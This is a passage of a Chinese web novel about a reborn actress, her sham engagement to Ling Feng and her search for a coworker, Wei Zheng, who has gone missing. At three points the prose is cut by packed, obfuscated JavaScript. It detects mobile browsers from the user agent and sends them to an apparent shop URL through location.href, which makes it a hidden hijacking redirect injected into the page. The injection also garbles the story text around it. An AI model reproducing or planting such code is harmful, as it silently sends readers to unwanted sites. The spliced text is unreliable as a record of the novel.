沈骁思维本就跳跃,如今又累又愁,脑子更跟不上。常好好理解她,不再卖关子,“昨晚我们再次深入交谈一番,这次是真的深入,我们……”说到关键的地方,她嗓子微痒,拿起水杯喝了一口水。她这一停顿可好,把沈骁骨子里的那点想象力全部激发出来,“我勒个去,你俩那个……那个什么了?” “太超前了!不过我懂的,假感情是假感情,不影响真深入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那感情好啊,”沈骁一听到吃的,眼睛更亮了,眨巴眨巴眼睛,发觉不对劲,“等等!这不是重点,我说你现在怎么了,都不看热搜的吗?” 常好好:“戒了。” 沈骁脑洞大开,整个人从椅子上弹起来:“难不成你要隐退一段时间,不会要等到你查到伤你二哥的人吧?没必要吧,那要等多长时间,七年后?” 常好好手指来回划动,凑巧刷到一家店铺,手指直接点进去,问道:“你吃茶叶蛋还是水煮蛋?” 沈骁手杵着下巴,非常认真的思考,犹豫了两秒,一本正经地说:“水煮蛋,谢谢。” 常好好快速下单,原以为这事就这么过去了,谁成想耳朵忽地一痒,沈骁脸色微变直接逼近,在她耳边连问三遍:“为什么呀?为什么呀?为什么呀?”妥妥一大型恐怖片。 她起了一身鸡皮疙瘩,抠完耳朵,不敢直视沈骁的眼,“不是隐退,我打算退圈。” 退……退圈? 沈骁脑袋彻底宕机,“为什么呀,提前火了你不应该乘胜追击吗?高兴都来不及退哪门子圈,为了成世泽你不至于牺牲这么大吧。” 常好好特别理解沈骁作为粉丝的心情。实际上一世大楼塌房前,她已做好退圈打算。 “本来就要宣布的,只是时间未到,没有对外公布而已。”她道。 “因为你二哥——” “咚咚咚!”办公室的门被人敲响,好巧不巧打断了沈骁的话。 常好好松了一口气的同时站起身,揉搓着敏感的耳垂,喊了句:“请进。” 门被轻轻推开。 男人走进来,身形挺拔,脸上挂着浅浅的笑,极其自然地进入办公室。 因为他的到来,空气似乎都静了几分。 凌枫? 他怎么来了? 这会儿常好好顾不上挠耳垂,立马收起右手,双手环抱在胸前,一整个防御姿势。 凌枫几步走到常好好身前,修长的手指从西裤口袋内取出一个精致的白色小袋子,动作利落,不带半点迟疑。他扬了扬下巴,示意常好好把手摊开,将袋子平稳地放在她手里,指尖在她掌心处无意地停留了一瞬。 “给你的。”他声音不高,平稳有力。 没等常好好反应过来,凌枫已转身离开,来得快去得也快。 作为全程见证人——沈骁,早已经磕到不知天地为何物了。眼睛慢慢睁圆,满脸写着“我发现了新宝藏”。 刚刚两人的同框画面就像一幅画,实在太美好。她缓慢地摇了摇脑袋,双手紧紧握住常好好的手臂,一脸兴奋地问:“啥啊?这里面是啥啊?会不会是钻戒?” “……” 常好好嘴唇一抽,捧着袋子的手颤了颤,“你脑洞不仅大,还很离谱。我俩证都没到手里,怎么可能直接快进到婚礼,早着呢。” 沈骁急得原地跺脚,手指头拧在一起:“你之前演过的结婚戏都忘啦?求婚多么重要的环节啊,被你漏掉了?” 对呀,领证前环节好像不少。被她一提醒,常好好意识到她忽略掉一些细节,瞬间头都大了,两只手没了劲儿。 沈骁踮起脚尖,探头探脑的,话都说不利索了,舌头直打结:“快快快!看看是什么?” 常好好慢悠悠地解开白色袋子的抽绳,好奇地往里瞧。 27. 礼物 里面暗沉沉的,看不真切,隐约有个小东西泛着一点微光。常好好眯着眼,用手指小心翼翼地探进去,捏住了那个小物件。拿出来凑到眼前,金光倏地一闪,差点闪瞎她的眼。 原来是一片纯金的叶子书签。 书签沉甸甸的,叶脉刻得极精细。她捏着小金叶子,愣了半晌,嘴角慢慢弯起来,指尖轻轻抚过每一道细致的纹路。 以她和凌枫的交情……贵重了。 沈骁连声惊呼“哇塞”,眼睛都直了,直勾勾地盯着常好好手里的黄金叶子书签,探着脑袋说:“纯金的?不愧是小说男主级别,都是真金白银啊。” 常好好瞅着突如其来的礼物出神。她搞不懂凌枫的意思,想了想还是把叶子书签放回了袋子里,转头朝沈骁道:“我去找他聊聊。” “啪”的一声,办公室的门被常好好带上。 沈骁完全陷进去了。 如此熟悉的感觉……她抱着手机坐在椅子上,一会儿咯咯傻笑,一会儿嗷嗷乱叫。嘴角就没放下来过,全程挂着抑制不住的姨母笑。想当初追cp时,经常熬夜刷到两三点,眼睛都熬红了也舍不得睡。脑海里涌入无数个画面,她意犹未尽地摇了摇头:“这次我有预感,绝对磕对了。”不给她继续浮想联翩的机会,门再次被人推开,常好好又拿着精致的袋子回来了。她急得不行,问道:“他非要给你是不是?” “不是,他去开会了,估计开完要到中午。”常好好手里垫着白色袋子,重复多次,低着头不知道在想些什么。 大概是垫得有点累,她揉了揉肩膀,把精致的白色袋子放在桌子上,手提起包就走,“我去楼下商场转转。” …… 新开的面馆装修设计新颖,一看就是冲着网红店去的。也许是颜色过于色彩缤纷,不少人从外面路过时都会瞥一眼,然后匆匆偏过头越过去。 常好好从小非常喜欢这种撞色的感觉,毫不犹豫地进入面馆,挑了个面朝窗户的位置坐下。刚坐稳,餐还未点完,她便听到身后两个人闲聊的对话。立即竖起耳朵,寻思从人家嘴里听出哪道菜更合口味。 “她家味道可以啊。” “是啊,本意是出片,没想到有惊喜。” “最近那部现代剧你看了吗,挺有意思。” “看了,最近爆火。” “那个女二是叫常好好吧,她和凌枫之前传过绯闻来着。” “哎呀,一看就是炒作。估计被资本买股了,要不然时机会那么巧?绯闻传完再辟谣,热度有了再上剧,妥妥的资源咖啊。” “有道理。对了,她和我家汀汀在一个公司,希望不要被她捆绑吸血。” “就是,可别被屎黏上。” 怎么都料不到事情就是这么巧,竟然有“惊喜”。 面对他人对她的讨论,常好好向来接受能力强,毕竟已经习以为常。但是她对秦汀整个人有很深的怨念,每次都忍不住翻白眼。 到底谁是资源咖?谁爱吸血?谁爱炒作? 好家伙,典型的贼喊捉贼。 上一世,秦汀的骚操作简直奇葩中的奇葩王者。 对于常好好来说,她的名字超级有威力,属于听见就烦躁的程度,胳膊上直接起了一层鸡皮疙瘩。避免腿上都炸起毛,她赶紧从包里掏出耳机戴好。 于是,世界清净了。 店内人不多,餐上的及时。常好好盯着眼前的面,筷子在碗里拨来拨去,半天才夹起一条面放进嘴里,咀嚼着,食之无味,然后放下筷子,看着一大碗面发呆。 尽管戴着耳机,她仍能听到后面的人说说笑笑。索性把音量调高,拿起汤勺想喝一口汤,却不小心碰着碗边,发出的声音格外刺耳,让她更加烦躁,干脆把碗一推。 一共没吃上几口,胸口堵得慌,什么也吃不下去。 她抬起手臂杵着下巴,望着窗外行走的路人发呆,直至身后两个人结伴离开,依然呆愣愣地坐在原位,没有继续吃面的意思。 “你还在这里呢?”一道熟悉的声音传到常好好的耳朵里。她懒洋洋地转过头,犹如一个树懒。 沈骁发现不对劲,问道:“咋了?不好吃?” “还行。”常好好没多大兴趣。结果眼睛在看见另一个人时,立刻亮了起来,整理一下帽檐,挺直腰身,露出灿烂的微笑,朝着来人打招呼,“你好,魏筝。” 魏筝戴着一副黑色框架眼镜,语气比常好好还要热情:“你好,好好。” 沈骁拉着魏筝坐下,趁魏筝低头的功夫朝着常好好猛眨眼,看得常好好一愣一愣的。 点完餐坐着等面,沈骁的手机铃声突然响起。看到屏幕上方的名字,她立马从椅子上弹起来,来不及跟身旁的两个人知会一声,跑出店外接电话。 “估计是她表姐。”魏筝拧开饮料瓶,喝了一小口,目光先是跟随窗外的沈骁,紧接着微微侧过头道,“她表姐跟她感情很好,可能有急事吧。” 常好好面部表情丰富。她隐藏着的表演型人格上线,笑眯眯地点了点头:“这样啊。”她还真没听沈骁提起过家里的情况,对这方面不太了解,快速转移话题,“你在酷誉呆了差不多半年吧,感觉怎么样?” 恰巧这时他们点的面条和菜到了。魏筝下意识拿起筷子,随意搅拌着面条,偷偷看了常好好几次,话到嘴边又咽了回去。 常好好视线一转,她立刻避开视线,假装看碟子里的土豆丝,“其实我……”说着说着,她深吸一口气,捏着纸巾揉成一团又展开,好像用了全身的力气,“我可能要离开滨城,回老家了。” 一段话说完,她肩膀微微绷紧,随后沉沉地落了下来,仿佛卸下了千斤重担。 常好好心中带着疑惑却不好问为什么,寻思让沈骁开口问更妥当。 于是,两人谁也没再说话,一起望向窗外。 阳光明晃晃的,路上的行人步履从容,整个世界安静得像一幅刚刚完成的画,一切都恰到好处。 店外。 沈骁挂掉电话,转身时恰好看见她们,两个人仿佛被阳光镀了层柔光。她握着发烫的手机默默站在原地,突然不忍心进去打破那片安宁。 不知过了多久,她才渐渐缓过神,微微垂下眸子,顿了顿,随即抬起头,换上平日里那副笑脸,走进店内又变成了咋咋呼呼的模样,大喊着问道:“味道怎么样?可给我饿坏了。” “还可以。” 三个人说说笑笑,边聊天边吃饭,就这样度过了美好的午饭时间。 一整个下午,沈骁都沉浸在难以描述的兴奋之中。 魏筝决定回老家这件事对她来说有些猝不及防,却意外惊喜。 “我们又完成一件大事。”她在办公室里来回踱步,“但是吧,我心里总觉得不踏实,可能一切进展得太顺利了?” 常好好有相同的感受,甚至有种暴风雨前的宁静。即便如此,她仍旧宽慰道:“别想太多,对魏筝来说,离开滨城是好事。” 沈骁走到窗边,撩开窗边一角。楼下有其他公司搞活动,嘈杂的声音飘上来,让她心里更乱了。 她转身靠在窗台,嘴唇轻轻咬着手指甲,“问题是垃圾男没找出来,我怕有变动。” 常好好怎能没想到这点,只是怕沈骁多想甚至焦虑,才没说出口。 她这边心里正打着鼓,生怕哪句话没掂量好加重沈骁的焦虑,刚憋出一句“没事,你别太——”,话才说半截,就见这位“忧心忡忡”的家伙跟变戏法一样,不知道从哪儿摸出一包鸡胸肉,利落地撕开包装袋咔嚓咬上一口,抬起眼,瞥见她无语外加惊呆的小表情,立刻递过来一袋,腮帮子塞得鼓鼓囊囊,含糊不清地说:“你尝尝,味道真不赖啊!” “……” 合着刚才她那愁云惨淡的模样全是装的?就等这会儿加餐呢是吧?得,这一肚子草稿算是白打了。 常好好暗自无奈,摇了摇头。这么多天还没弄明白吗?对面就是一个没心没肺的人,怎么可能真忧愁。 “走一步看一步吧,想那么多没啥用,你说是吧?”沈骁吭哧吭哧地往嘴里炫,又从右边口袋里摸出一小袋海苔片,看得常好好目瞪口呆,想脱口大骂,但是忍住了。 怕控制不住情绪,她马上抬屁股走人,随便找了个理由糊弄过去,便逃出了办公室。 初心是找一个清静的地方醒醒脑,万万没想到,竟然在酷誉里看见了成世轩。 他夹着公文包,正走在走廊过道上,一抬头,恰好看见她从对面走来。两人目光撞个正着。 看见常好好迎面走来,成世轩明显顿了一下,平日里游刃有余的架势瞬间卡壳,眼神下意识地往旁边飘,握著公文包的手指不自觉地收紧,喉结滚动了一下。 可这窘迫只持续了两三秒。他迅速吸了口气,脸上立刻挂起无可挑剔的得体笑容。不仅没躲,反而加快两步迎上去。 这次,常好好没演戏。她是真的被惊到,一度以为看错,抬手揉了揉眼睛。定睛看发现真的是成世轩,半开玩笑地问道:“大哥怎么来这儿了?我还以为我认错人了呢。” 成世轩声音硬朗:“正好路过这边,过来看看你。” “?” 听到这里,常好好的笑容裂开了。就为了这事特意过来看她?她又不是三岁小孩,怎么可能相信这种说辞。 成世轩说完,自己都觉得尴尬,面上不露声色,平和地笑了笑,开起玩笑:“听说你要结婚了?” 常好好心虚啊,总担心一不小心说漏嘴,眼睛往别的地方飘,随口应着:“是啊,都是缘分。” “挺好。凌枫我了解,凌家你也知道,最起码知根知底。”成世轩道。 怎么把话题引到这里了。 上一世,常好好不是没撒过谎。但她不喜欢说谎话,更不擅长,避免多说多错的道理,话头一转:“今天公司不忙吗?” 成世轩朝她示意手里的公文包:“刚去附近应酬完。距离很近,刚好跟凌枫和世泽有项目要谈。” “哦。” 原来如此。 常好好本就没心思闲聊,忽然戏瘾发作,犹如很忙、有急事处理的模样,说道:“好的好的,我不打扰你们,正好我有事,先走一步。” 走了很长一段路,路过会计部,赶上门内有人推门出来,她脚步未停,快速往里扫了一眼,没瞅见魏筝的身影。心里莫名不安起来,又退了回来。摆出标准的甜美笑容,问走出门口的人:“你好,请问魏筝在吗?” “魏筝啊,她下午请假了。” 请假? 常好好心忽悠一下子,眼皮应景地跳了跳,随口回了句:“好的,谢谢。”转身便往办公室方向跑,推开门再关上,整个后背靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282850|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门上大喘气。 这个节骨眼上,某人正在偷偷摸摸炫小零食。不仅有鸡胸肉,甚至有卤蛋,酸奶。 见自己被抓个正着,沈骁举着零食的手抬也不是,放也不是,要多尴尬有多尴尬。她酝酿几秒,下意识地吧唧吧唧嘴,道:“嘿嘿,我不是故意偷吃零食啊,就是中午没吃饱。” 常好好没工夫跟她贫,赶快说:“魏筝下午请假了,你知道吗?” 沈骁放下手中攥着的零食,懵逼地晃着脑袋:“不知道啊?真假?她能去哪?”一时半会想不明白,她的手蠢蠢欲动,又开始往嘴里塞吃的,“可能想在回老家前把东西啥的都准备好?难道回宿舍了?” 常好好闭上眼回忆魏筝吃饭时的模样和语气。她猛地睁眼,嘴里嘀咕着:“有没有一种可能是清算。回家前把她在滨城发生的一些事做个了断。” 沈骁心里咯噔一声,放下零食,二话不说给魏筝打电话。 对方没有接她的电话,更没有回复。 她开始慌了,一时间没了主心骨。 常好好稍微冷静点,决定两个人分头行动。沈骁先回宿舍,看看魏筝回没回去。她按照沈骁给她的地址,去魏筝经常去的地方寻找。 前前后后一个多小时,常好好像个没头苍蝇似的,把能找的地方跑了个遍。先是冲到魏筝常去的公园,把那几条道来回扫了三遍,连长椅上打盹的人都挨个瞅了瞅,并没看见魏筝的影子。 又开车换了个方向到魏筝经常逛的商场,头戴鸭舌帽,脸带黑口罩,趴在魏筝喜欢光顾的甜品店玻璃窗外踮脚张望,差点被人误认为神经病。 最后跑去魏筝最爱吃的的那家饭店,服务员说今天没见她来过。 问沈骁那边的情况,得知魏筝电话打过去永远是“您拨打的用户暂时无法接通”。她心里一紧,捏着发烫的手机,站在傍晚的人潮里,腿都软了。 各种不好的念头止不住地往外冒。 魏筝该不会重蹈覆辙吧? 还是,更加想不开? 她心里急得慌,重新回到一开始寻找的公园门口附近,毫无形象地蹲在马路牙子上,看着偶尔路过的人发懵。 时间一分一秒过去。她闭上双眼,默默在心底嘟囔:“快让我们找到魏筝,千万别出事。” 半分钟一过,睁开眼,眼前一个人都没有,更别提魏筝的身影。 今天是工作日,公园地点略微偏僻。七点多钟,路上的行人一共没有几个。 常好好奔波了大半天,整个人腰酸背痛,想着周边没有其他人,干脆席地而坐。随便一转头,她猛地钉在了原地。 远处那个穿着黑色衬衫的女人,不就是她找了大半天的人吗? 她喜出望外,刚要欢呼着跃起,视线突然撞上魏筝面前一辆黑色的车。车身比后方停着的白车大上许多,显得格外扎眼。她的目光下意识地扫向车牌。前面的数字和字母被后面歪停的白车挡得严严实实,只露出最后三位数字:666。 三个数字冲击力太强,使她眼皮猛地一跳。 这一刻,全身的血液仿佛瞬间凝固。 常好好张了张嘴,却发不出一点声音。 这个她烂熟于心的车牌尾号,这个她曾开玩笑说“666”的号码,怎么会出现在这儿?怎么会出现在她找了这么久的魏筝面前? 一个令她不敢相信的猜测冒了出来。 她愣愣地站在原地,甚至不敢再上前一步,眼睁睁看着魏筝朝着黑车主驾驶方向说着什么,却因为距离太远,她听不到。 冰冰凉的手指紧紧攥了攥,她强迫自己镇定下来。 “有可能是巧合。”心里如是想着,她不再迟疑,小跑向前,魏筝却快速上了车。 目睹黑车朝前行驶,她的心猛地一沉,下意识地加快脚步,一路狂奔。无奈二十多米,不可能瞬间到达。 眼看着车子已经缓缓驶入车道。她急了,顾不得磨了水泡的脚,快跑着冲下马路牙子,却还是晚了。 她大口大口喘着粗气,手捂住岔气的位置,一步一步移到刚才停车的地方,大脑一片空白。 公园人不多,车停了不少。因为遮挡,常好好最后都没有瞧到完整的车牌号。 “啥情况?我在公交车上看见你发疯了似的狂奔,咋了?”沈骁的声音从后方传来。她一脸懵逼,然后瞬间开窍,“你找到魏筝了?” 常好好弯下腰,双手撑住膝盖,整个人都塌了下去。头发丝被汗黏在额角和脸颊也顾不上捋,喘气声又粗又重,喉咙里带着点嘶哑的感觉,“魏筝……上车了。” 沈骁云里雾里,压根听不懂常好好的话,皱起眉头:“上车?啥车?”说完,摸出包里的水,拧开瓶盖往嘴里灌了一大口。 常好好直起身,茫然地望着车子消失的方向,张了张嘴又把话憋了回去。 不久前的一幕并不能证明车一定是他的那辆。 她抬手用力揉搓眼睛,有一种这样就能把刚才看到的画面从脑海里擦掉的错觉。可尾号三个“666”清清楚楚,不可能出现幻觉。 街上的车流声、沈骁疑惑的追问声都变得模糊不清,好像隔着一层厚厚的玻璃。常好好脑子里来来回回就那几个字:不可能是他,今天发生的一切绝对是巧合! 沈骁:“到底什么车,让你这么惊慌失措,魂都没了。” 28. 抽风 “成世轩的车。”常好好说起话来有气无力,“我亲眼看见魏筝上了成世轩的车。” 沈骁举着饮料瓶的动作卡住,连眨了三次眼。五秒过后,继续淡定地喝了一口,然后拧紧瓶盖笑着摇头:“你大哥的车?”她故意凑近,眯着眼打量常好好的表情,试图找出恶作剧的痕迹,“你刚刚的玩笑开的,差点我就信了。今天又不是愚人节!”她自顾自地笑起来,又喝一大口饮料,但是没立即咽下去,因为常好好始终保持沉默地看着她,眼神和以前的她不一样,非常复杂。 这会儿功夫,沈骁开始正视常好好话里的内容,回忆起前一阵她在常好好家里看见的成世轩一家。 成世轩确实有一个女儿。 她的笑容慢慢僵在脸上,举着饮料瓶的手悬在半空,心里咯噔一下。 他们一直以来想找的恶心渣男,该不会真是成世轩吧? 两个人就这样大眼瞪小眼,半天没缓过神来。 晚上九点,常好好瘫在沙发上,指尖无意识地抠着抱枕边缘。心里七上八下的,脑子里已经上演了六百集魏筝与成世轩的家庭伦理连续剧。 担心慢半拍错过解救魏筝的时机,她一直处于内疚中,回到家晚饭顾不上吃,时刻关注着回到宿舍的沈骁给予她好消息。手机不玩了,手册不看了,就这么呆呆地坐在沙发上默默等待。 手机屏幕暗下去,被她按亮,反反复复。 又过了半个小时,屏幕突然亮起,沈骁的名字跳了出来。她屏住呼吸,手有些发抖,轻轻点开对话框。 当“问了,是网约车,纯属凑巧。其他等我回去再说,放心吧没问题。”一段话映入眼帘,揪着的心像石头落了地,总算能顺畅地呼吸了。 还好,还好真的是好消息。 一切都是虚惊一场。 “我就说嘛,大哥的车怎么可能在那?一天天的,总是胡思乱想。” 她嘴里絮絮叨叨,自言自语过后一整个满血复活。左手举起手机充当荧光棒,右手随便从边几上拿起空调遥控器当麦克风,胡乱唱歌蹦跳。 兴奋上头时,差点把拖鞋甩到吊灯上。路过过道摆放的小镜子时不忘给自己抛了个媚眼。 她越跳越嗨,最后朝着沙发上的可爱抱枕跪下,对它进行令人发指式的深情演唱。 两分钟前还死气沉沉的客厅,瞬间变成了常好好的个人蹦迪现场。 跳着跳着跳累了,她下意识做个潇洒的甩头,准备来个华丽收尾,结果视线余光冷不丁地瞥见门口一个模糊的人影。 她的动作瞬间卡壳。 举在半空的手臂僵住了,脸上那副“我天下第一牛”的嘚瑟笑容,也以肉眼可见的速度凝固。 男人不知道在门口站了多久,他倚着门框,双手抱胸,嘴角挂着一丝要笑不笑,意味深长的弧度。嘴上什么话都没说,但眼神好像在说:“怕不是疯了?” 常好好的脸颊猛地一下红透了,从额头一直红到脖子根。 卧槽啊啊啊啊?! 他不会看见了吧? 破音的雷人歌声……抽风的表演…… 此时此景,她甚至想的是:赶紧来个人跟我演场戏,装作打晕我! 男人正是凌枫。 他缓缓抬起手,象征性地鼓了两下掌,用难得惊叹的语气道:“说真的,我活了这么多年,第一次见到有人能把抽筋表演得如此有艺术感。常好好,你辛苦了!” “……” 凌枫的话音刚落,常好好脸上的表情别提多精彩。她咬牙切齿,刚才的羞耻和尴尬直接消失,脑子里已经上演了一出动作片。 第一反应是把手里的手机毫不客气地砸向他那张欠揍的脸,然后把他大骂一顿。想着想着,她的喉咙被一万句问候堵住了。张了张嘴,却发现因为太激动,竟然一时组织不起最有杀伤力的语言。 缓了缓,她情绪稳定不少,一头栽回沙发里,喘着大气,没好气地瞪他一眼:“虽然我告诉你我家门锁密码,也确实跟你说过随时过来探讨计划,但是你至少提前通知我一下吧。” 凌枫:“我给你发了消息、打了电话。你没回。” 可不没回吗。 何止是他? 林菲发疯了一样给她打电话发信息,她更是理都没理。刚才那种关键时刻,有关成世轩和魏筝的人生,其他人的事都得往后稍稍。 常好好向一侧倒下,双脚顺势把拖鞋踢得更远,身体躺在沙发上。整个动作一气呵成,紧接着不忘蹭了蹭靠垫,调整到最陷进去的位置,漫不经心地道:“啥事?这么急着过来。” 她的姿势让睡衣裙摆不可避免地向上滑去。 光滑的肌肤猝不及防地撞入凌枫的视野。他的目光如同被烫到,在触及的瞬间猛地弹开,迅速转向墙上的装饰画,喉结不受控制地上下滚动了下。 “明天酷誉有重要会议,所有投资人到场。”他的声音比平时更加低沉,脸上恢复往常那副事不关己的表情。但若仔细看,能发现他耳根处泛起一丝极难察觉的淡淡红色。 常好好懒洋洋地抬眼:“哦,你们开你们的呗。” 跟她有一毛钱关系? “除此之外,成世轩和凌楷都会来。”凌枫喉结微动,将原本到了嘴边的话暂时压下。话锋一转,“我来是想提醒你,关键时刻不要忘了演戏。” 用你提醒? 常好好说着违心的话:“说什么呢,我对你的感情还用演?” 凌枫嘴角挂着的笑僵住,随即垂下眼帘,“今天在你这借住,明天早上我们一起去公司。” 这不是凌枫第一次借住,常好好倒是不惊讶。想到安燃的话,她露出笑脸,“好的。以后结婚了,我们在一个屋檐下生活,提前适应总没坏处。” 合约上并没有提出他们领证后,办婚礼前必须要住在哪里。 但那天安燃给的信息让常好好心生好奇的同时又产生了担忧。倘若凌枫真的有喜欢的对象,那个对象会是谁?会不会出现在他们身边,从而打乱他们的计划? “凌枫,你没跟我说实话。”她马上坐直身体,深深地看着凌枫,嘴角噙着一抹若有若无的笑意,“安燃跟我交代了你喜欢的人是谁。”以前她总用这招炸给她泼脏水的秦汀,可以说百试百灵。 “我累了,明天再说。”凌枫简短一句话算是回复,然后头也不回地往客卧的方向走。 常好好深知凌枫跟秦汀不同,肯定不会那么好糊弄,已经准备好迎接凌枫一连串毒液袭击的话术,甚至脑补无数个画面,提醒自己先把一巴掌呼死凌枫的冲动压下去。 结果可好,到头来全白准备了。 “看来安燃信息准确,真有这么个人存在。”她小声嘀咕,“能让凌枫在意,绝对不是一般人,到底是谁啊?” “叮……叮……” 手机铃声没有预兆的响起。 她被吓得一哆嗦,瞄了一眼来电显示上的名字,顺手把手机倒扣在沙发上,不接通也不挂断。 林菲准没好事。 距离合约到期没多长时间,只要一直保持现在这种不火的状态……常好好脸色微变,眼皮直跳,猛然间想起沈骁和面馆身后两个人聊天的话,赶紧掏出手机查看热搜。 带着她大名的热搜在榜单第四位——常好好的舒适区来了。 乍一看,这个词条连她自己都受不了,压根没法直视手机屏幕,脚趾头都抠出了三室一厅。 惊悚的部分来了。 下面的实时评论出乎意料,一波接着一波好评。 【好好演的太好了啊啊啊啊啊,这个角色好适合她。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286863|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【上头了上头了!我承认之前对她声音太大,演技不错啊。看她之前全是小配角,怎么可能是营销号说的资源咖呢?加油,我看好你。】 【以前都没听说过诶,慕名去瞅了眼电视剧,只有她这条线能看,其他演的啥玩意。我直觉一向很准,常好好以后会大火。】 重来一次,她还是火了,并且是那种最离谱的走向,提前在圈里有了姓名。 这都什么事啊。 手机铃声又一次响起,在寂静的客厅里显得格外刺耳。 常好好深吸一口气,本能的想要划掉,犹豫再三,停止手指头的举动,先把这口气呼了出来。 上一世,他们共事时间很长,对彼此有一定的了解。用脚趾头想都知道林菲一会儿的嘴脸,肯定跟前些日子变了个人。 原本计划着平静、低调地度过这大半年,默默退出娱乐圈。如今这幅局面,逃避不能解决问题。她逐渐被自己说服,连续呼气好多次,手指头不情不愿地滑向手机屏幕,最终还是接通了电话:“喂,菲姐。” “诶呦喂,可算接电话了,你忙啥呢。”换做平时,林菲肯定破口大骂,这会儿压着气儿,只能用哄骗的方式,“给你打电话不接,信息不回,我估摸着你肯定有急事。不要紧,好饭不怕晚。” 林菲的语气简直和上一次通话判若两人,“好好啊,姐姐我处处为你着想。这不?你的好机会来了。现在的舆论对你非常有利,我们要把握好当下时机,狠狠地敲品牌商一笔。不对,是无数笔……” 常好好“嗯,啊”地敷衍着,弯腰打开零食柜的抽屉,搜出几包沈骁给她的小零食,跳到沙发上,一边撕开包装袋往嘴里塞,一边把手机拿得离自己远了点,脸上是毫不掩饰的嫌恶。白眼更是翻得又快又利落,眼珠恨不得来个三百六十度大转圈。 就在刚刚,她深度思考了会儿,发现没什么好担心的。 林菲让她接戏的前提,是有人给她递剧本,然后她再象征性地读剧本。这之后还有很多道程序,不是一蹴而就,都需要时间。 所以她完全可以找一堆理由。例如死磕大制作女配,反正怎么挑剔怎么来。 林菲这个人虽然强势得有些讨厌,但确实是一个比较有远见的人,应该不至于给她随便接剧本。 假如让她拍广告的话更省心。广告拍摄时间不长,别说拍一个广告,塞五六个广告也不影响她啥,还能挣点外快。 至于综艺,的确有点难办。 录制时间长,跨度大,一不小心还容易被骂,甚至把路人缘搞坏。林菲估计不会选择,眼下的情况根本没必要。 “好好,这个综艺非常抢手,好多人都抢着做嘉宾。”林菲道。 “……” 打脸来得如此之快。 合约在身,常好好没法找到适当的理由说服林菲。跨度一个月的综艺节目,不是完全不能接受,她暂时答应。 将近半个小时的通话时间,好不容易应付完林菲,她脸都没洗便躺在柔软的床上,比了个大字。 累,不是一般的心累。 事情发展出乎意料,让人防不胜防。 夜晚,她累得上半夜没做梦,下半夜又是似曾相识的迷雾梦。 第二天醒来,眼皮沉得像是被胶水粘住过。勉强睁开后,眼神有些发直。浑身的骨头犹如被拆开重组了一遍,只觉得身子发沉,没什么力气,更没有精气神。 她极其艰难地伸了一个懒腰,慢慢移步去洗漱,牙刷着刷着忽的灵光一闪。 凌枫?差点把他忘了。 她叼着牙刷,尽量步伐走快点,睡眼惺忪地拉开门,脑子里仍处于混沌状态。 门口。 就是卧室门口。 此时此刻赫然立着一个人影,像一尊沉默的门神。 29. 渣男 常好好怔住。 上一秒嘴里含着泡沫,下一秒猛地咽下去,往后退了大半步。 她赶紧揉了揉眼睛,待看清男人的脸,惊魂未定的心脏才缓缓落回原处,脸颊却瞬间成了红番茄。有一种被人撞见邋遢模样的窘迫,又混合着被惊吓后的不爽。 一时间又气又恼,眼睛瞪得不能再大,大口呼出一口气,不客气地道:“别仗着我对你有非分之想就吓人好吧,人吓人会吓死人的。” 凌枫本来笑的很淡,听到“非分之想”四个字,笑意散的差不多少,“时间快到了,过来提醒你。” “知道了,我很快。”常好好摆了摆手,然后瞄见凌枫那双质疑的眼神,咬着牙补充一句,“我十分钟搞定。” 车内,凌枫目光落在前方延伸的路面上,看似专注,眉头却拧着,“你确定后三位是666。” 常好好坐在副驾驶,头微微偏向凌枫,笃定地说:“确定,所以我才会一时着急想偏了,没想到是自己脑补过度。” 凌枫不再吭声。 联想到他昨天未回答的问题,常好好认定他在转移话题,无奈嘴长在人家身上,只好先做罢。 车里突然变得很安静。 两人之间仿佛隔着一层无形的薄膜,各自沉浸在自己的思绪里,谁都没有再次开口。 今天,是酷誉一年中很重要的日子,许多行业大佬到来。 常好好向来对这种场合不感兴趣,当着成世泽的面与凌枫一起进入公司后,便回到属于自己的“小窝”。 沈骁看见她进来,眼睛直发亮,“好好,你真的火了。” 火了,火了。常好好听见“你火了”三个字不起一丝波澜,轻微抬了一下眼皮,示意自己知道了。她那一副没什么大不了的小表情,反倒更加勾起沈骁的分享欲。 只见沈骁神经兮兮的,笑容中带着一点惊悚,将手机举到她面前:“你看看,几年前你参加的恋综节目都被网友翻出来。” 常好好反应平平:“哦。” “真是人比人气死人,有的人就是有红的命。”沈骁啧啧感叹,非常真诚地道,“我好羡慕你啊,好好。好想成为你,哪怕一天都行。” 这句话小时候没少听。常好好从前不理解,现在仍然不理解。准确地说,是非常不认同。 她的手杵着下巴,视线跟随窗边投射而来的光线,不急不慢地道:“我有什么好让你羡慕的。” “白富美!光这三个字多少人一生都达不到。更何况你是明星,还是顶流,圈内羡慕你的人也不少吧。” 沈骁这句话还真提醒到了常好好,勾起她从前的回忆。 上一世,常好好在娱乐圈认识不少朋友。与其说朋友,不如说是阶段性的能聊得来的同事。 今天这部戏里接触新的同事,明天录制节目认识新的同事,后天盛典晚会上碰到新的同事。 